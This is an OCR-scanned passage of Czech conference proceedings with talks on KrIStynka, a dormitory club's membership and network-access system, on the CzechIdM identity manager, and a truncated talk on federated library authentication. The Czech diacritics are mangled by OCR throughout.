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INFORMACNI SYSTEM KRISTYNKA

Tomas Kukral

E-MAIL: KUKRAL.TOMASQTECH.SU.CVUT.CZ

KrlIStynka je informacni systému, ktery slouzi ke spravé uzivatelti a prede-
vsim k Fizeni pristupu k siti. Nejedna se o komplexni systém s fadou zavislosti,
ale v zékladni instalaci poskytuje jen nejnutnéjsi spravu uzivateld. Veskeré dalsi
funkce je mozné jednoduse pridat formou modult.

Popis problému

Studentska unie CVUT je zastfesujici a sjednocujici platforma pro nejriznéjsi
studentské aktivity. Mimo jiné provozuje jednu z nejvétsich studentskych dato-
vych siti a umoznuje studentiim se na spraveé sité podilet.

Kromé technické stranky véci je tfeba splnit také legislativni pozadavky a za-
jistit, ze je sit vyuzivdna podle pravidel a pfipojeni do sité je umoZnéno pouze
opravnénym osobdm. K tomuto ucelu je potieba pouzit vhodny informacni sys-
tém, protoze manudlni sprava uzivatelli a nastaveni sité neni mozné v tomto
meéritku aplikovat.

Cilem projektu KrIStynka bylo vytvorit informacni systém, kterd nahradi
puvodni a nevyhovujici systém BAX. KrIStynka méla slouzit predevsim pro klub
Buben. Tento klub ptisobi na Bubenecské koleji a mé asi 450 ¢lenit. Na zacatku
kazdého semestru pfiblizné 150 ¢lenti své ¢lenstvi neprodlouzi (ve vétsiné pfipadi
z dtivodu ukonéeni studia) a podobné mnozstvi novych ¢leni do klubu vstoupi.
7 tohoto duvodu je nutné provozovat systém, ktery umozni jednoduse evidovat
osoby s platnym ¢lenstvim a bude fidit jejich pfistup do sité.

Pozadavky na informacni systém

Kolejni klub Buben provozoval pfed nasazenim systému KrIStynka informacni
systém, ktery se jmenoval BAX. Tento systém byl vytvofen pii vzniku klubu
Buben a byl tedy jiz velmi stary a soucasné pozadavky na informacni systém
jiz nesplnioval. Mezi nejvétsi problémy starého systému lze jmenovat naptiklad
ukladani nesifrovanych hesel uzivatelt, prilisnou slozitost a absenci jakéhokoliv
zéznamu zmeén.

Analyzou starého systému a soucasnych procesu jsme definovali tyto poza-
davky:
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1. Systém musi byt jednoduchy, aby bylo snadné predat jeho administraci
novému spravci

2. Registrace uzivatele (¢lena) musi byt co nejjednodussi
3. Hesla je nutné ukladat Sifrovand

4. Je nutné zaznamenavat vSechny tpravy dat v systému tak, aby je bylo
mozné zpétné dohledat

5. Systém musi umét posilat vSem ¢lentim hromadné e-maily

6. Vstupni data se musi vzdy validovat

Clenstvi v kolejnim klubu je podminéno zaplacenim ¢lenského piispévku (po-
kud nebylo placeni pfispévku odpusténo) a proto je nutné, aby systém dokdzal
automaticky nacitat informace o platbach a podle nich upravovat informace
o Clenstvi. Je vhodné ¢leny informovat o tpravé jejich clenstvi a to naptiklad
odeslanim informac¢niho emailu.

Klub Buben provozuje i dalsi aktivity, ktery jsou navazané na informacni
systém. Je to naptiklad studovna ¢i posilovna pro ¢leny klubu. V systému jsou
evidovani uzivatelé s povolenym pristupem do téchto mistnosti a Fizeni fyzického
piistupu do mistnosti zajistuje kartovy systém.

Definice

Pro evidenci ¢lent a informacich o nich bylo tfeba formalizovat entity, s kterymi
bude systém pracovat.

uzivatel cloveék registrovany v systému
¢len clovek, ktery se stal ¢lenem klubu

status Casové omezeny stav uzivatele, ktery slouzi k rozliSeni riznych druhi
¢lenstvi

registrator c¢lovék s opravnénim registrovat do systému nové ¢leny a upravovat
jejich nastaveni

Pribéh registrace nového ¢lena klubu je nasleduji:
1. Uzivatel se dostavi k registratorovi a pfinese sebou doklad totoznosti
2. Registrator provede kontrolu jeho totoznosti

3. Registrator provede registraci uzivatele a jeho zafizeni do systému
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4. Uzivatel dostane informace o dalsim postupu a pokyny k zaplaceni ¢len-
ského prispévku

5. Po zaplaceni systém automaticky potvrdi uzivateli ¢lenstvi

6. Po skonceni ¢lenstvi systém odebere uzivateli opravnéni a zamezi pristupu
do systému

Reseni

Vzhledem k pozadavkam jsme zvolili jako vhodné feseni webovou aplikaci s ex-
porty do dalsich systému. Nepotfebujeme pro provoz systému vysokou dostup-
nost, takze systém je spoustén na dedikovaném virtualnim stroji spolecné s pravi-
delné zalohovanou databazi. Vysoké dostupnosti by mohlo byt v pfipadé potieby
dosazeno vyuziti databazového cluster (napi. Galera') a spusténi vice instanci
aplikace.

Zvolili jsme implementaci v jazyce Ruby a framework Ruby on Rails, protoze
poskytuje vSechny pozadované vlastnosti a vyvoj je v ném velmi jednoduchy
a rychly. Vyvoj KrIStynky probihal zptisobem ,deploy early and ofter, takze
bylo mozné postupné pridavat dalsi funkce a pribézné systém testovat. Prvni
verze, kterd byla produkéné nasazena méla pouze 670 fadek kédu.

Funkce jsme rozdélili na tyto elementarni moduly a v tomto potradi byly také
implementovany:

1. Evidence uzivatelu

2. Prihlasovani a ovérovani

3. Evidence zafizeni a rozhrani
4. Pridélovani IP adres

5. Nacitani plateb

6. Odesilani hromadnych e-mailid
7. Hlasovani

Zdrojovy koéd aplikace bude dostupny po dokonceni bezpecnosti analyzy na
adrese https: //github.com /tomkukral /kristin. Do doby uvolnéni aplikace pod MIT
licenci je mozné ziskat pristup do repozitare jen na pozadani.

Lhttp: //galeracluster.com/
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Evidence uZivatelu

Seznam uzivatela je hlavni funkce celého systému a vétsina datovych t¥id sys-
tému je vlastnéna ti¥idou User. Informace, které systém o uzivatelich uklada,
jsou odvozeny ze stanov Studentské unie CVUT a jsou doplnény o dalsi data
pozadovanéa klubem Buben.

Kazd4 instance tfidy User (uZivatel) obsahuje tyto vlastnosti:

e Jméno, uzivatelské jméno, e-mailova adresa, heslo

Cislo ¢ipové karty pro vstup do budovy (MIFARE nebo NFC)

Identifikace

— rodné ¢islo
— Cislo pasu

— bez identifikace

Cislo pokoje

Déle u kazdého uzivatele evidujeme jeho zafizeni (pocita¢) pomoci tiidy
Computer a pro kazdé zafizeni evidujeme vSechny sifové karty, jejich MAC ad-
resy a typy rozhrani (bezdratové ¢i metalické). Tyto informace se pouzivaji pro
Fizeni pristupu k siti pomoci exporta.

Dalsi entitou, kterd miZe byt pfifazena uzivateli je Status. Status je ¢asové
omezeny stav uzivatele a definuje opravnéni uzivatel. Kazdy status ma nastaven
svuj zacatek, konec, typ a uzivatele, ktery status nastavil. Vypis ¢lent a jejich
export pro potfeby nastaveni sité se provani pies vypis statusd a jim pfifazenych
uzivatelt. Pritazeni ¢asové platnosti statusu umoznuje presné definovat zacatek
a predevsim konec pro jednotliva opravnéni uzivatele. Nékteré statusy je mozné
ziskat zaplacenim ¢lenskych pfipévka (napf. ¢len, posilovna) a jiné jsou pfifazo-
vany pouze manudlni (napf. administrator, registrator).

Zmény ve vSech tfidach, které se tykaji evidence uzivatelid jsou logovany
vCetné ulozeni uzivatele, ktery tuto zménu inicializoval. Naptiklad tprava cisla
karty je v zadznamech uloZena takto:

Datum: 2015-11-10 01:23:34 +0100

Popis: Uprava uzivatele

Podrobnosti: {"card"=>["04d80", "04213"], "updated_at"=>
[Tue, 27 Oct 2015 16:18:51 CET +01:00,

Tue, 10 Nov 2015 01:23:34 CET +01:00]}

Provedl: Tomas Kukral
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V ojedinélych pripadech se stava, ze registrator zadda do systému chybné
informace zamérné ¢i diky nepozornosti pfi registraci uzivatele. Diky logovani
zmén v modelech mizeme tyto chyby jednoduse dohledat a zjistit jejich pficinu,
ale v prvni fade je nutné zjistit vyskyt chyby v systému. K detekci chyb nam
slouzi jednoduchy mechanismus zalozeny na odhalovani odchylek od vlastnosti
typického ¢lena. Podezrely uzivatel je oznacen pokud splni alespon jednu z téchto
podminek:

e mi nastaveny jakykoliv status a nikdy neziskal status clen

e ma status ¢len a presto nema prifazeny zadna zafizeni a rozhrani

jeho vék je neodekdvané vysoky (detekce z rodného éisla)
e nema v systému nastaveny pokoj

e ma prifazeno prilis mnoho pocitaci ¢i rozhrani

Pridélovani IP adres

Ukolem systému je pfifadit ¢lenovi statickou adresu na dobu jeho ¢lenstvi. Po-
uziti statickych adres je vhodné pro identifikaci ¢lent v siti a také pro feseni
bezpecnostnich incidentd. Z divodh zachovani identity ¢lena v ramci sité Inter-
net je v siti klubu Buben nasazen staticky NAT v reZimu N:M. To znamen4,
ze kazdy ¢len dostane pfifazenu jednu verejnou IPv4 adresu a rozsah privatnich
adres. Privatni adresy z tohoto rozsahu jsou pomoci DHCP pfifazeny vSem zafi-
zenim uzivatele a cely jeho rozsah privatnich adres se pfeklada na jednu vefejnou
adresu.

Tento pfistup umoziiuje jednoduse identifikovat ¢lena (i zpétné) v pripadé
bezpec¢nostniho incidentu bez nutnosti hledéani inkriminovaného provozu v Net-
Flow zaznamech hlavniho smérovace. Prekladani adres timto zptisobem mirné
komplikuje nastaveni firewallu, ale pouziti pfepinané sité bez NATu neni v siti
klubu Buben mozné z divodu nedostateéného poctu verejnych IPv4 adres.

Nacitani plateb

Jednim ze zdkladnich pozadavki na informacni systém je automatické naci-
tani plateb z bankovniho API, protoZe manudlni ovéfovani plateb cClenskych
prispévka by bylo velmi ¢asové narocné a nachylné k chybam. V pravidelnych
Casovych intervalech se nacita vypis pohybt na bankovnim uc¢tu klubu Buben
a podle téchto informaci jsou vytvafeny instance tfidy Bankltem. V dalsim kroku
jsou parovany platby (Bankltem) s uZivatelskymi informaci a podle nich jsou
prifazeny statusy.
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Do tohoto procesu neni potieba (a dovoleno) nijak manuélné zasahovat, takze
je vylouCeno neopravnéné pfirazeni platby ze strany registratora. Nicméné vy-
skytuji se pripady, kdy je platba provedena chybné a je nutné provést jeji ma-
nualni apravu. Pokud systém nedokaze platbu ¢lenského prispévku automaticky
prifadit uzivateli, tak dovoli manudlni prifazeni platby uzivateli.

Odesilani hromadnych e-maila

Informac¢ni systém umoznuje opravnénym osobam odesilat hromadné e-maily
vsem ¢lentim klubu. V minulych letech velmi ¢asto dochazelo k odeslani chybnych
informaci, a proto odeslani probiha ve dvou fazich a k potvrzeni je vyzadovano
potvrzeni dvou opravnénych osob.

Vytvoreni a odeslani hromadného e-mailu probiha timto zptsobem:

1. Autor navrhne pfedmét e-mailu a jeho obsah
2. Po ulozeni je autorovi odeslan vzorovy e-email

3. Autor pozada jinou opravnénou osobu o kontrolu a potvrzeni odeslani
pokud je vzorovy e-mail v poradku

Odeslani hromadného e-mailu vSem ¢lenim klubu znamené to, Ze je tifeba
odeslat téméf 500 zprav na rizné e-mailové adresy. Z dtivodu omezeni zahlceni
e-mailového serveru se zpravy odesilaji jednotlivé s nékolikasekundovym inter-
valem mezi jednotlivymi zpravami.

Casové naroéné operace neni mozné spoustét synchronné navazané na po-
zadavky aplikac¢niho serveru, takze v KrIStynce je systém fronty zalozeny na
DelayedJob?. Tento zptisob umoziiuje spousté dlouhotrvajici akce asynchronné
a bez vlivu na béh ostatnich modulu.

Hlasovani

Hlasovéani slouzi k provadéni elektronickych hlasovani. Klub Buben je fizen pied-
stavenstvem a toto predstavenstvo je voleno ¢leny klubu Buben. Modul pro hla-
sovani umoznuje ¢lentim volit vedeni klubu a zaroven miize byt pouzit pro po-
radani referenda o dtlezitych rozhodnuti.

Implementace modulu hlasovani je provedena tak, aby byla zajisténa nejvyssi
moznd anonymita hlasovani. Informace o voli¢ich a volebni listky jsou ukladény
oddélené, takze neni mozné jednoduse zjistit jak ¢len hlasoval. Zaroven identifi-
kacni ¢isla hlast nejsou zvolena sekvencné a to proto, aby nebylo mozné seradit
hlasovani a volice podle ¢asové znacky.

2https: //github.com/collectiveidea /delayed_job
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Z divodu zachovani podminek hlasovani systém nedovoli zobrazit vysledky
hlasovani pred ukoncenim hlasovanim. Po ukonceni systém exportuje seznam
voli¢ti, aby bylo mozné s hlasovanim v pripadé potfeby pokracovat analogovou
formou.

Je zfejmé, ze v pripadé ziskani absolutni kontroly nad systémem je mozné
ohrozit anonymitu a integritu hlasovani. Toto riziko bylo predstavenstvem klubu
akceptovano a v priibéhu konani voleb je systém pod zvySenym dohledem.

Exporty

Hlavnim tkolem informac¢niho systému KrIStynka je umoznit automatickou kon-
figuraci sité a tim Fidit pfistup uzivateltt do sité. Upravy uzivateltt neprobihaji
prilis ¢asto a neni nutné zmény propagovat okamzité, takZe exportovani infor-
maci do ostatnich systému je pro pouziti v klubu Buben dostatecné.

Veskera konfigurace sité klubu je provadéna pomoci nastroje Ansible, ktery
umoziuje spoustét jednoduché akce a vzajemné je propojovat. Nejvétsi vihoda
tohoto pristupu spoc¢iva v tom, Ze konfigurace neni zavisla na ¢lovéku a je mozné
ji provadét automaticky. V ramci playbooku s nastaveni existuje skupina akci,
které jsou oznadeny tagem reconfigure a zajistuji nacteni informaci z KrIStynky
do dalsich systému. Spousténim piikazu

ansible-playbook deploy.yml —-tags reconfigure

probéhne nastaveni firewallu a DHCP serveru zaroven s nactenim aktuélnich
informaci o aktualnich uzivatelich.

Pro béh systému je nutné zajistit, aby tento pfikaz by spoustén pravidelné
nebo v lepsim pripadé po provedeni zmény v datech. Toto je v klubu Buben zajis-
téno pomoci Jenkins serveru. Pozadavek na spousténi rekonfigurace je odeslan
z KrIStynky do Jenkinsu pomoci API. Tento pfistup zaroven vyfesi omezeni
castého spousténi rekonfigurace, protoze Jenkins mé nastaveno omezeni délky
fronty c¢ekajicich pozadavki.

Generovani konfigurace DHCP a firewallu je zajisténo pomoci obsluznych
skripttt dhcp.rb a iptables.rb. Ukolem téchto skriptii je nacist z API KrIS-
tynky seznam opravnénych zarizeni a provést inkrementalni zmény v soucasném
nastaveni tak, aby obsahovalo pouze povolena zafizeni. Nedochézi k neustalému
novému prepisovani konfigurace, ale jsou aplikovany pouze jednotlivé zmény.

Kromé nastaveni sité je nutné propagovat zmény také do soucasného karto-
vého systému klubu. K tomuto acelu slouzi rake task, ktery do databaze karto-
vého systému vlozi pozadované zaznamy. V soucasné dob€ pracujeme na novém
kartovém systému, ktery bude ovéfovat vstupy pfimo pied API KrIStynky a ne-
bude nutné exportovat do dalsiho systému.
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Spoluprace s Turrisem

Kromé klubu Buben zajistuje KrIStynka evidenci ¢lentt klubu BION?. Nicméné
zdejsi sit je naprosto odlisnd od sité klubu Buben, takze bylo tfeba upravit
exporty informaci o uzivatelich.

Klub BION provozuje sit ve dvou lokalitach a v kazdé lokalité je jako hlavni
smeérova¢ pouzit jeden router Turris*. Do obou routerti jsou pomoci utility
kristin-parser exportovany informace o opravnénych zafizeni obdobné jako
v klubu Buben. kristin-parser je na rozdil od pfedchozich exportid napsan
v jazyce Python, protoze jazyk je jiz v Turrisu obsaZen a neni tieba jej doda-
tecné instalovat, jako by tomu bylo v pfipadé Ruby.

Zavér

KrIStynka slouzi jiz druhym rokem pro potieby evidence ¢lenu a spravy sité
klubu Buben a BION. Neposkytuje velké mnozstvi funkci, ale naopak se snazi
splnit pozadavky s co nejmensim mnozstvim kédu. Je navrzena tak, aby bylo
mozné ji jednoduse rozsifit o dalsi funkce nebo pfidat podporu LDAPu ¢i RA-
DIUSu. V nejblizsi dobé bude KrIStynka uvolnéna pod MIT licenci a jakakoliv
pripominka ¢i kritika kédu je vitana.

Dalsi zdroje

https: //www.turris.cz/en/ [Informaéni systém klubu Silicon Hill|
http: //rubyonrails.org [Ruby on Rails]|

https://jenkins.io/ [Jenkins]

https: //www.ansible.com/ [Ansible]

Podékovani

Timto bych chtél podékovat lidem, ktefi se na systému KrIStynka podileli (abe-
cedni pofadi): Pavel Stambrecht, Pavel Trutman, Tom4s$ Bedfich a Veronika
Huvarova.

3http: //bion.cvut.cz
4https: //www.turris.cz/en/
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CzECHIDM — EFEKTIVNI SPRAVA IDENTIT VE FIRME

Lukas Cirkva, Marcel Poul

E-MAIL: LUKAS.CIRKVA@QBCVSOLUTIONS.EU

1 Co to je identity manager

Identity management v organizaci je disciplina, ktera se zabyva identifikaci je-
dince v ramci spole¢nosti a monitoruje a fidi jeho firemni personalni procesy od
nastupu az po jeho odchod. Identity manager (déle také IdM) je software, ktery
automatizuje, audituje a ulehcuje identity management. Lépe nez abstraktni
definice poslouzi v tomto piipadé nasledujici priklad.

2 Kdy nasadit identity manager

Predstavme si modelovou situaci: jste feditelem IT oddéleni mensi spolec¢nosti
s rostoucim poctem zameéstnanct, nyni 500. Fluktuace zaméstnancti ve firmé
dosahuje 20-30 zaméstnancti mési¢né. Procesy, které doprovazeji kazdy nastup
zaméstnance, jeho plisobeni ve firmé a odchod zaméstnance, jsou viceméné ne-
ménné. Uzivatelim se vytvari icty na firemnich systémech, pridavaji se oprav-
néni k diléim operacim na systému, nebo naopak o opravnéni prichazeji. Vsechny
tyto operace jsou nyni Fefeny manualné administratory danych systémii. Zadost
o Uty a opravnéni chodi bud od nadfizenych nebo dokonce od samotnych uzi-
vateld. Vasi administratofi jsou tedy degradovani na uroven automatt, které
vykonavaji rutinni operace.

Ve firmé nyni neméate ustaveny procesy pro zadosti o opravnéni, a tak admi-
nistratori spoléhaji na to, ze pozadavky nadfizenych (v horsim piipadé samot-
nych uzivateld) jsou opravnéné. Vite, Ze nadfizeni ani pracovnici personalniho
oddéleni nejsou vzdy svédomiti v komunikaci o odchazejicich uzivatelich smérem
na IT. V systémech tedy navic zustavaji nepouzivané ucty.

Uvédomujete si, ze soucasny stav je diskomfortni, pfedstavuje urcité bezpec-
nostni riziko a tedy je neudrzitelny. Pfichazi pro vas spravny c¢as nasadit identity
manager, softwarové feseni spravy uzivatelskych identit v organizacich.
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3 Co identity manager prinasi

Identity manager, jak nazev napovida, pracuje s identitami — souborem vsech in-
formaci o fyzické osobé v dané organizaci. Nasazenim IdM v organizaci se pfede-
v8§im automatizuji procesy uzivatelské identity, centralizuje se sprava opravnéni
k systémum a audituji se zmény identit a jejich pridélenych opravnéni.

3.1 Obecna architektura IdM

IdM pottebuje zdroj dat o identitach, které bude spravovat. Ve firméch to je
nejcastéji personalni systém, ale Ize se setkat také se zdrojem dat v podobé bézné
databaze, kam jsou data v davkach automaticky dodavéana z jinjch systému nebo
dokonce ru¢né plnéna pracovniky personalniho oddéleni.

Aby mélo smysl pouzivat IdM, je zfejmé, ze data o identitach a jejich oprav-
néni se musi propisovat do koncovych systémii. Casto se napojuji systémy pro
adresarové sluzby jako LDAP a jeho implementace MS Active Directory nebo
postovni servery jako MS Exchange. IdM se také bézné integruje se systémy pro
spravu servisnich pozadavkil (Service manager) nebo ve vefejné spravné velmi
oblibenymi systémy pro spisové sluzby.

3.2 Zivotni cyklus uZivatelské identity

Vime tedy, odkud IdM data Cerpé, kam je propisuje, co ale tyto operace spousti?
Odpovéd je zivotni cyklus uzivatelské identity. Jde o soubor procest, které pro-
vézejl uzivatele jeho pouti v organizaci — nastup uzivatele, pferuseni vykonu
povolani naptiklad z divodu matetfské dovolené, zména pracovniho zarazeni,
odchod zaméstnance a dalsi. V kazdém procesu jsou pak definovany akce, na-
priklad pridéleni opravnéni nebo zména atributu identity, které maji vliv na
napojené systémy.

Ndstup zamésntance Vynéti z evidence

>»
>

A
\ R —

/

N

A

Odchod zaméstnance Zména pracovni pozice

Obr. 1: Piiklad Zivotniho cyklu identity ve firmé
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3.3 Sprava opravnéni

Velkou kapitolou pro IdM je sprava opravnéni. IdM casto aplikuje princip Role-
Based Access Control (RBAC). Ten mapuje opravnéni na systémech do entit
v IdM, které jsou oznaCovany jako role. Pridélovani opravnéni v personalnich
procesech nebo i manuédlné pak znamena pfidani role (jedno i vice opravnéni)
uzivateli. V praxi navic povéreni uzivatelé pres IdM potvrzuji opravnénost po-
zadavku o pfidéleni roli. Dostédvame tak novou uroven zabezpeceni pridélovani
opravnéni uzivatelim.

4 CzechldM a jeho architektura

CzechldM je komplexni nastroj, ktery implementuje identity management. Jeho
vyvoj zacal ve spolecnosti BCV solutions v roce 2009 a prvni verze byla v pro-
dukénim prostiedi Spravy narodniho parku Sumava nasazena v roce 2010. Od
roku 2014 je CzechldM vydavan jako open source ve svobodné licenci a je volné
stazitelny z webu dodavatele.

4.1 CzechldM vs Oracle Waveset

CzechIdM nezapte své koteny v Oracle Waveset, predtim zndmém jako Sun Iden-
tity Manager. Z néj pfevzal zakladni architektonické prvky, jako je: Vrstveni do
datové, aplikac¢ni a prezentacni vrstvy. Pouziti workflow a pravidel pro modelo-
vani procesu. Javu, jako programovaci jazyk jadra systému. RBAC. ORM pro
mapovani entit do DB. Stejny je také princip napojovani koncovych systému
pomoci konektori. Pouzivaji se jak volné dostupné konektory z projektu Ope-
nlICF, tak lze vyvijet vlastni konektory za pouziti Connector Frameworku (JAVA
a .NET).

CzechIdM oproti Waveset nepouziva Xpress, jazyk pro definici workflow, pra-
videl a uzivatelského rozhrani. Uzivatelské rozhrani v CzechldM je psano v JSF.
Waveset do DB propisuje pouze zékladni entity pouzivané v IdM (identita, role,
organizace) a slozitéjsi struktury udrzuje v XML formatu jako obtiZzné ¢itelné
bloby v databazi. Naopak CzechldM vyuziva plného potencidlni rela¢nich data-
béazi a pouzitého ORM Hibernate a vsechny entity véetné jejich relaci udrzuje
v tabulkach DB.

4.2 T¥Fivrstva architektura

CzechldM vyuziva jako perzistentni tlozisté libovolnou relacni databéazi — nej-
castéji MySQL, PostgreSQL. Datova vrstva slouzi pro manipulaci s daty z per-
zistentniho Ulozisté a odstinuje od ni aplikacni logiku. Implementovana je v javé
a s databazi je propojena pomoci ORM Hibernate.

Aplika¢ni vrstva implementuje byznys logiku aplikace a tedy samotny vy-
konny kéd. Vétsi ¢éast je psdna v javé, nicméné workflow a pravidla (kéd imple-
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Obr. 2: Architektura CzechIDM a napojeni systému

mentujici procesy a ovladajici prezentadni vrstvu) jsou psény ve scriptovacim
jazyce BeanShell. Tyto dscriptyd jsou uloZeny v perzistentni paméti a lze je za
béhu ménit bez nutnosti restartu aplikace. Datova a aplika¢ni vrstva tedy diky
pouzitému jazyku java ke svému béhu vyzaduje aplikaéni server (AS). Aktuédlné
CzechldM vyuziva AS JBoss.

Prezentacéni vrstva sestavéd z JavaServer Faces (JSF) stranek a pouziva Ri-
chFaces framework. Vysledné stranky jsou tedy dostupné pies webové rozhrani.
Jednotlivé vrstvy CzechldM mezi sebou komunikuji pomoci vymény Data Trans-
fer Object (DTO). Tento jednotny druh vymény dat (atributd a jejich hodnot)
zarucuje nezavislost vrstev a uplnost pfedavanych dat, 1ze tim predejit vyjimkam
typu Lazy Loading Exception.

4.3 Konektory

Jak jiz bylo zminéno CzechIdM se ke spravovanym a zdrojovym systémtm piipo-
juje pomoci konektort, pomyslné vrstvy vlozené mezi CzechldM a dany systém.
Konektor umoznuje z pohledu CzechldM pouzivat standardizované sady vola-
nych metod, které jsou konektorem interpretovany do nativniho jazyka (API)
daného systému. Data preddvani mezi konektorem a CzechIdM jsou vzdy abstra-
hovéna jako dvojice (atribut;hodnota), napfiklad (pfijmeni =Novak). Hodnota
miZe samoziejmé byt opét vicehodnotova polozka, naptiklad (tituly;mgr|doc).
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CzechldM pouziva standardni a pomérné rozsifené konektory z projektu Ope-
nlICF, naptiklad pro napojeni MS Active Directory a Exchange, LDAP, Database
Table Connector. V CzechldM vSak vznikli a nadale vznikaji také nové konek-
tory psané pomoci Connector Frameworku jako naptiklad Helios Connector — ten
konkrétné vyuziva API webové sluzby vystavené systémem Helios Green nebo
SSH Universal Connector, ktery CzechIdM umoznuje napojit a spoustés scripty
na libovolnych unix-like serverech.

4.4 JBPM a dalsi

CzechIdM pouziva jJBMP. Jde o Business Process Management software (BMP),
ze kterého CzechldM vyuziva predev§sim napojeni na perzistentni datové tlozisté
pomoci JPA a workflow engine — sprava béhu workflow, schvalovacich tkola
a uzivatelskych udalosti. V neposledni fadé CzechIldM stavi na Enterprise Java
Beans a jako integracni framework pouziva SEAM.

5 Vlastnosti CzechldM

Jako kazdy spravny identity manager zvlada CzechldM spravovat procesy uzi-
vatelské identity, zejména je uzptisoben k plnéni nasledujicich procesi

e Nastup uzivatele — zahrnuje jeho nac¢teni z personéalniho systému a ptidéleni
roli (oprévnéni pro napojené systémy)

e Zablokovani/Odblokovani uzivatele

e Vynéti z evidenéniho pocétu — blokace uzivatele, umisténi do jiné org. struk-
tury, odebrani vybranych roli.

e Odchod uzivatele — odebrani roli, blokace uzivatele, umisténi uzivatele do
karantény a nakonec smazani uzivatelské identity

e Zadost o zménu opravnéni — vytvoreni zadosti nadfizenym nebo uzivate-
lem, schvéaleni pfidéleni/odebrani roli dle specifikace role (kazdé role mé
svl1j mechanismus schvalovani)

5.1 Sprava roli v CzechldM

Kromé béznych vlastnosti spravy roli, jako je zadost o role, schvalovani ptidé-
leni roli identitdm, auditovani zmén na rolich a audit pfidéleni roli, obsahuje
nové CzechldM také procesy spravy roli. Konkrétné jde o proces vytvoreni role,
editace role a smazani role. Vytvoreni role je vicekrokovy schvalovany proces,
kde nové vytvarené role nejdiive schvaluji novi vlastnici roli, poté vlastnici pod-
fazenych roli, garanti systémil, kam role pfifazuje opravnéni a nakonec drzitelé
byznys role Bezpecnost. Proces editace je naopak velmi flexibilni. Dle zménéného
atributu je zvolen prichod schvalovaciho procesu pres definované schvalovatele.
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Napriklad zménou vlastnika role je vyvolan ukol pro prijeti garance za roli pro
nové navrhovaného vlastnika. Zménu bézného popisného atributu schvaluje na-
opak aktualni vlastnik role a poté drzitel role Bezpec¢nost.

5.2 Uzivatelské rozhrani

CzechIdM v soucasnosti poskytuje dvé webova graficka rozhrani. Jedno je uréeno
administratorim, druhé béznym uzivatelim. Pfes administratorské rozhrani je
dostupnd sprava identit (vytvéareni, editace, blokovani a mazani), sprava or-
ganizaci a roli (podobné jako identity), pfistup do auditnich logt, konfigurace
CzechldM vcetné definice a spousténi workflow, pravidel, emailovych Sablon
a naplanovanych tloh. V administratorském rozhrani se také konfiguruji na-
pojené systémy, pouzité konektory a synchronizace atributt pro tyto systémy.

Bézni uzivatelé pouzivaji uzivatelské webové rozhrani, které jim slouzi pro
zobrazeni zakladnich informaci o své identité, ptridélenych rolich, podfizenych,
ke zméné vlastniho hesla a k podani zadosti o zménu opravnéni pro sebe nebo
své podrizené.

6 Kam krac¢i CzechldM

Aktuélné je v plném proudu prace na novém uzivatelském rozhrani s pracovnim
nazvem CzechldMng, které bude komunikovat s CzechldM prostfednictvim re-
stovych sluzeb. Dojde tedy k tplnému oddéleni backendové a frontendové ¢asti
aplikace, kdy backend bude stéle bézet na AS (JBoss) a klient bude spustén
na jednoduchém http serveru (Apache) s podporou Node.js. Cilem tohoto oddé-
leni je podpora vice ruznych klientskych aplikaci nad jednim backend serverem
(napfiklad pro mobilni aplikace) a celkovy redesign uzivatelského rozhrani, kde
bude kladen ddraz na uzivatelskou pouzitelnost a pfehlednost (UX).

Nové uzivatelské rozhrani bude postaveno na technologiich JavaScript. Mezi
hlavni stavebni kameny budou patfit Node.js, React a Redux.

Do budoucna je v planu obménit i nékteré backendové ¢asti aplikace, kde
hlavni planovanou zménou bude pouziti Spring technologii a Activiti workflow
enginu misto stavajicich EJB a jBPM workflow. Redesign by mél CzechldM
prinést vétsi robustnost celého feSeni s dirazem na modularitu, kterd prispéje
i ke zjednoduseni interniho vyvojového procesu a udrzitelnosti aplikace s ohledem
na klientsky specifické pravy.

Dalsi zdroje informaci

[1] Blog BCVSolutions — ¢lanky prevazné se zabyvajici CzechIdM.
http: //blog.bcvsolutions.eu/

[2] OpenICF — dokumentace konektoru stejnojmenného open source projektu
https: //forgerock.org/documentation /openicf/
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POUZITI IDENTIT VE FEDERATIVNIM PROSTREDI,
PRIKLADY Z ELEKTRONICKYCH ZDROJU KNIHOVEN

Jiri Pavlik

E-MAIL: JPAVLIKQCESNET.CZ

Abstrakt

Federativni autentizace zjednodusuje pristup k elektronickym informacnim zdrojium,
které akademické 1 verejné knihovny zajistuji pro své ctendre. Diky federativni auten-
tizaci ¢tendri vyuZivaji jednotné prihldseni ke katalogu knihovny i pri pristupu k elek-
tronickym kniham, elektronickym casopisum i databdzim. Federativni autentizace je
dostupnd u EBSCOhost, Proquest, ebrary, Web of Sciences, Elsevier Science Direct
a Scopus, SpringerLink, Cambridge Journals, Brill, Sage Journals, Emerald, eRea-
ding.cz a u Tady dalsich platforem. V predndsce si predstavime federativni autentizaci
na prikladu Univerzity Karlovy a Moravské zemské knihovny.

Federativni autentizace umoznuje vyuzivat uzivatelsky tcet z domovské or-
ganizace pii studiu ¢lankt, elektronickych knih a c¢asopisi. Domovskou orga-
nizaci pro uzivatele muze byt akademickd organizace nebo vefejnd knihovna.
V ceské akademické federaci identit edulD.cz jsou zaregistrovany univerzity,
ustavy Akademie véd CR, vyzkumné organizace, vefejné knihovny a poskytova-
telé sluzeb pro tyto organizace. Zahrani¢ni sluzby jsou pro organizace registro-
vané v edulD.cz postytované typicky prostfednictvim mezinarodni interfederace
eduGAIN. Federace edulD.cz provozované sdruzenim CESNET zajistuje definuje
pravidla ve federaci, politiku, zajistuje vyménu metadat mezi poskytovateli iden-
tit uzivatelt a poskytovateli sluzeb. Na webovych strankach federace edulD.cz je
uvedeny seznam registrovanych organizaci a poskytovanych sluzeb s dostupnou
federativni autentizaci — http://eduid.cz/cs/members

Na Univerzité Karlové (UK) je pro vyuku a vyzkum zpfistupiiovano pies
200 elektronickych informacnich zdroji. Prehled zdroju je pro studenty, zamést-
nance i pro externi registrované uzivatele uvedeny na Portalu elektronickych
informacnich zdroji UK — http://pez.cuni.cz/. V podrobném popisu u kazdého
zdroje na Portalu je uvedeno, zda je u zdroje dostupné federativni piihlaseni,
zda u zdroje je mozné se prihlasit ic¢tem z UK. Pokud je federativni pfihlaseni
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u zdroje dostupné, je uvedeny také tzv. WAYFless odkaz pro prihlaseni u zdroje
uctem z UK. Odkaz je na UK oznacovan jako Vzddleny pristup — Shibboleth.
Dostupnost federativniho pfihlaseni je indikovédna ikonkou dracka pouzivaného
u middleware Shibboleth. Na obrazku 1 je pfiklad zobrazeni podrobnosti zdroje
Elsevier Science Direct s WAYFless odkazem a indikaci dostupnosti federativ-
niho prihlaseni.

< pez.cuni.cz

Rozsifens hiodini

